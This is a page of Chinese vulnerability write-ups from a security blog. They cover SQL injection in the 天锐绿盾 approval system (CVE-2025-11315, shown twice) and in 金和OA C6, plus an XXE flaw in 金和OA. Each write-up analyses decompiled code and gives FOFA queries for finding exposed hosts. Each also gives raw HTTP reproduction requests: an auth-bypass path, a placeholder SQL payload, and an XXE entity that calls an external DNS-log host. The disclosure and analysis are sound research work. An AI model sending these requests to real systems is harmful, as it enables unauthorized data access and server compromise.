阅读视图

天锐绿盾审批系统 findUserPage.do SQL注入漏洞(CVE-2025-11315)

天锐绿盾审批系统 findUserPage.do SQL注入漏洞(CVE-2025-11315)

    Mrxn
  • 发表于2025/12/1 08:30
  • 126浏览
  • 0评论
  • 12分钟阅读

漏洞简介

天锐绿盾审批系统是一款专注于企业数据安全与合规管理的智能审批平台,深度融合文档加密、权限管控与流程自动化,旨在为企业提供从文件创建、流转到归档的全生命周期安全管控,并常作为OA系统中的加密软件,实现审批流程的自动化和信息化。

天锐绿盾审批系统的 findUserPage.do 接口存在SQL注入漏洞。攻击者可以通过构造恶意的SQL查询参数,直接操控数据库查询语句,从而绕过身份验证,获取未授权的数据、修改数据库内容或执行其他恶意操作。该漏洞可能导致敏感信息泄露,例如用户数据或系统配置信息,严重影响系统的数据完整性和机密性,进而降低整体系统安全性。

影响版本

可通过访问 /trwfe/exports/config.ini 获取版本信息

V3.53.240913

V7.05.240904

fofa语法

app="TIPPAY-绿盾审批系统"

漏洞分析

先看findUserPage.do的实现

看下PageVo对象的定义

getPageSql() 方法中,来自用户请求的 sortorder 成员变量被直接拼接到 pageSql 字符串中。由于这两个变量的值完全由用户控制且未经过任何安全处理,攻击者可以构造恶意的 SQL 片段。

再跟进findAllUserPage 方法,看下findAllUserPage最终的MyBatis 映射文件内容

此处的 ${pageSql} 语法在 MyBatis 中表示直接进行字符串替换,而不是使用预编译的参数化查询(#{...})。这意味着 pageSql 变量的内容将作为原始 SQL 代码的一部分被执行,这是导致SQL注入的直接原因。

该代码段提供了一个分页查询租户信息(Tenant)的功能。前端通过调用 /findUserPage.do 接口,并传递 pagerowssortorder 等参数来控制分页和排序逻辑。后端接收到参数后,通过 PageVo 对象进行封装,并最终调用 MyBatis 执行数据库查询。

由于后端在处理排序参数 sortorder 时,未进行任何安全校验或过滤,直接将这些参数拼接到 SQL 语句中,造成了 SQL注入漏洞。攻击者可以利用此漏洞执行任意数据库操作,例如窃取数据、篡改信息,甚至在特定数据库和权限配置下获取服务器控制权。

漏洞复现

POST /trwfe/login.jsp/.%2e/user/findUserPage.do HTTP/1.1
Host: trwfe.mrxn.net
Content-Type: application/x-www-form-urlencoded

deptId=1&userName=1&userStatus=1&sort=id%20SQLI_POC&order=asc

成功延时 5 秒


文章目录
版权所有:Mrxn's Blog
本站文章均为原创,未经授权请勿用于任何商业用途。仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害,均由使用者自行承担,文章作者不为此承担任何责任。
设备上扫码阅读

📚 推荐阅读

手机扫码阅读
  •  

金和OA BookGetStoreType.aspx SQL注入漏洞

金和OA BookGetStoreType.aspx SQL注入漏洞

    Mrxn
  • 发表于2025/12/1 13:30
  • 82浏览
  • 0评论
  • 9分钟阅读

漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 BookGetStoreType.aspx 接口处存在SQL注入漏洞,攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

根据 BookGetStoreType.aspx 的源码,在 bin 目录下查找 JHBase.Web.Books.dll 将其进行反编译后找到 BookGetStoreType 的处理逻辑

protected void Page_Load(object sender, EventArgs e)
{
  this.htc = ((CultureInfo) this.Session["culture"]).Name + ".css";
  string str = this.Request["StoreID"].ToString();
  DataTable dataTable = DBOperatorFactory.GetDBOperator().ExecSQLReDataTable($"select bookTypeID,bookTypeName,bookTypeNumber from booksType where booktypeDelFlag=0 and bookstoreID='{str}' order by booktypenumber");

至此,就非常明了了,参数StoreID是被直接拼接进SQL语句中后执行,无任何过滤或校验,导致SQL注入漏洞。

漏洞复现

GET /c6/Jhsoft.Web.Books/BookGetStoreType.aspx/?StoreID=SQLI_POC HTTP/1.1
Host: jhsoft.mrxn.net

成功延时 4 秒


文章目录
版权所有:Mrxn's Blog
本站文章均为原创,未经授权请勿用于任何商业用途。仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害,均由使用者自行承担,文章作者不为此承担任何责任。
设备上扫码阅读

📚 推荐阅读

手机扫码阅读
  •  

天锐绿盾审批系统 findUserPage.do SQL注入漏洞

天锐绿盾审批系统 findUserPage.do SQL注入漏洞(CVE-2025-11315)

    Mrxn
  • 发表于2025/12/1 08:30
  • 81浏览
  • 0评论
  • 12分钟阅读

漏洞简介

天锐绿盾审批系统是一款专注于企业数据安全与合规管理的智能审批平台,深度融合文档加密、权限管控与流程自动化,旨在为企业提供从文件创建、流转到归档的全生命周期安全管控,并常作为OA系统中的加密软件,实现审批流程的自动化和信息化。

天锐绿盾审批系统的 findUserPage.do 接口存在SQL注入漏洞。攻击者可以通过构造恶意的SQL查询参数,直接操控数据库查询语句,从而绕过身份验证,获取未授权的数据、修改数据库内容或执行其他恶意操作。该漏洞可能导致敏感信息泄露,例如用户数据或系统配置信息,严重影响系统的数据完整性和机密性,进而降低整体系统安全性。

影响版本

可通过访问 /trwfe/exports/config.ini 获取版本信息

V3.53.240913

V7.05.240904

fofa语法

app="TIPPAY-绿盾审批系统"

漏洞分析

先看findUserPage.do的实现

看下PageVo对象的定义

getPageSql() 方法中,来自用户请求的 sortorder 成员变量被直接拼接到 pageSql 字符串中。由于这两个变量的值完全由用户控制且未经过任何安全处理,攻击者可以构造恶意的 SQL 片段。

再跟进findAllUserPage 方法,看下findAllUserPage最终的MyBatis 映射文件内容

此处的 ${pageSql} 语法在 MyBatis 中表示直接进行字符串替换,而不是使用预编译的参数化查询(#{...})。这意味着 pageSql 变量的内容将作为原始 SQL 代码的一部分被执行,这是导致SQL注入的直接原因。

该代码段提供了一个分页查询租户信息(Tenant)的功能。前端通过调用 /findUserPage.do 接口,并传递 pagerowssortorder 等参数来控制分页和排序逻辑。后端接收到参数后,通过 PageVo 对象进行封装,并最终调用 MyBatis 执行数据库查询。

由于后端在处理排序参数 sortorder 时,未进行任何安全校验或过滤,直接将这些参数拼接到 SQL 语句中,造成了 SQL注入漏洞。攻击者可以利用此漏洞执行任意数据库操作,例如窃取数据、篡改信息,甚至在特定数据库和权限配置下获取服务器控制权。

漏洞复现

POST /trwfe/login.jsp/.%2e/user/findUserPage.do HTTP/1.1
Host: trwfe.mrxn.net
Content-Type: application/x-www-form-urlencoded

deptId=1&userName=1&userStatus=1&sort=id%20SQLI_POC&order=asc

成功延时 5 秒


文章目录
版权所有:Mrxn's Blog
本站文章均为原创,未经授权请勿用于任何商业用途。仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害,均由使用者自行承担,文章作者不为此承担任何责任。
设备上扫码阅读

📚 推荐阅读

手机扫码阅读
  •  

金和OA XmlDeal.aspx XXE+SQL注入漏洞

金和OA XmlDeal.aspx XXE+SQL注入漏洞

    Mrxn
  • 发表于2025/11/30 13:30
  • 112浏览
  • 0评论
  • 38分钟阅读

漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 XmlDeal.aspx 接口处存在XXE漏洞,未授权的攻击者可以通过此漏洞读取服务器上敏感文件或探测内网服务信息,进一步利用可导致服务器失陷。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

XXE漏洞

直接根据 XmlDeal.aspxbin 目录下查找 JHSoft.Web.Blog.dll 将其进行反编译后找到 XmlDeal 的处理逻辑

private StringBuilder sb = new StringBuilder();
protected HtmlForm Form1;

protected void Page_Load(object sender, EventArgs e)
{
  string str = "";
  XmlDocument xmlDocument = new XmlDocument();
  xmlDocument.Load(this.Request.InputStream);
  switch (xmlDocument.DocumentElement.SelectSingleNode("//root//DealFlag").InnerText.Trim())
  {
    case "BlogPersonal":
      str = this.DealBlogPersonal(xmlDocument);
      break;
    case "BlogPhotoListAddReview":
      str = this.BlogPhotoListAddReview(xmlDocument);
      break;
    case "BlogPhotoDelPhoto":
      str = this.BlogPhotoDelPhoto(xmlDocument);
      break;
    case "BlogPhotoListDelReview":
      str = this.BlogPhotoListDelReview(xmlDocument);
      break;
    case "BlogIndexSetSession":
      str = this.BlogSetSession(xmlDocument);
      break;
    case "BlogIndexSeachBlog":
      str = this.BlogSeachBlog(xmlDocument);
      break;
    case "BlogIndexShowMore":
      str = this.BlogShowMore(xmlDocument);
      break;
    case "BlogPhotoListLoadReview":
      str = this.BlogPhotoListLoadReview(xmlDocument);
      break;
    case "BlogPhotoListGetReviewCount":
      str = this.BlogPhotoListGetReviewCount(xmlDocument);
      break;
    case "BlogPhotoListGetPhotoId":
      str = this.BlogPhotoListGetPhotoId(xmlDocument);
      break;
    case "UpLoadDialogDelTempDirectory":
      str = this.UpLoadDialogDelTempDirectory(xmlDocument);
      break;
    case "BlogGetEncrypt":
      str = this.BlogGetEncrypt(xmlDocument);
      break;
    case "AddKM":
      str = this.BlogGetContent(xmlDocument);
      break;
    case "AddType":
      str = this.BlogGetTypeName(xmlDocument);
      break;
  }
  this.Response.Write(str);
  this.Response.End();
}

请求内容直接使 XmlDocument.Load 解析,造成XXE漏洞。

SQL注入漏洞

BlogPhotoDelPhoto

DealFlag=BlogPhotoDelPhoto

private string BlogPhotoDelPhoto(XmlDocument xmlDocument)
{
  XmlNode xmlNode = xmlDocument.DocumentElement.SelectSingleNode("//root//imgSrc");
  xmlDocument.DocumentElement.SelectSingleNode("//root//strUserCode");
  string str1 = !string.op_Equality(this.Request.ApplicationPath, "/") ? this.Request.ApplicationPath + "/JHSoft.Web.Blog/" : this.Request.ApplicationPath;
  string lower1 = xmlNode.InnerText.ToLower();
  string lower2 = str1.ToLower();
  string[] strArray = lower1.Replace(lower2, ",").Split(new char[1]
  {
    ','
  });
  bool flag1 = false;
  flag1 = new JHSoft.Blog.Blog().delPhoto(lower2 + strArray[1]);

跟进delPhoto方法

public bool delPhoto(string strSrcImg)
{
  bool flag = true;
  string QueryString = $"update BlogPhoto set DelFlag=1 where photoPath = '{strSrcImg}'";
  DBOperator dbOperator = DBOperatorFactory.GetDBOperator();
  dbOperator.ExecSQLReInt(QueryString);
  if (dbOperator.IsError)
  {
    this.StrErrorMessage = dbOperator.ErrorMessage;
    flag = false;
  }
  return flag;
}

非常明显的SQL拼接导致SQL注入漏洞产生,但是需要注意imgSrc需要满足以下条件

  • 包含当前请求的路径,即 /c6/Jhsoft.Web.blog/
  • sql注入payload位置在包含路径后,才会在替换后使用逗号分割的第二个位置拼接进SQL语句

其他几个位置

BlogSetSession

任意文件夹删除

硬编码的DES密钥

漏洞复现

XXE

POST /c6/Jhsoft.Web.blog/XmlDeal.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.dnslog.pt/xxe_test">
%remote;]>
<root/>

在DNSLOG平台成功收到HTTP请求

SQL

POST /c6/Jhsoft.Web.blog/XmlDeal.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/xml

<root>
<DealFlag>BlogPhotoDelPhoto</DealFlag>
<imgSrc>SQLI_POC</imgSrc>
<strUserCode>admin</strUserCode>
</root>

成功延时 4 秒


文章目录
版权所有:Mrxn's Blog
本站文章均为原创,未经授权请勿用于任何商业用途。仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害,均由使用者自行承担,文章作者不为此承担任何责任。
设备上扫码阅读

📚 推荐阅读

手机扫码阅读
  •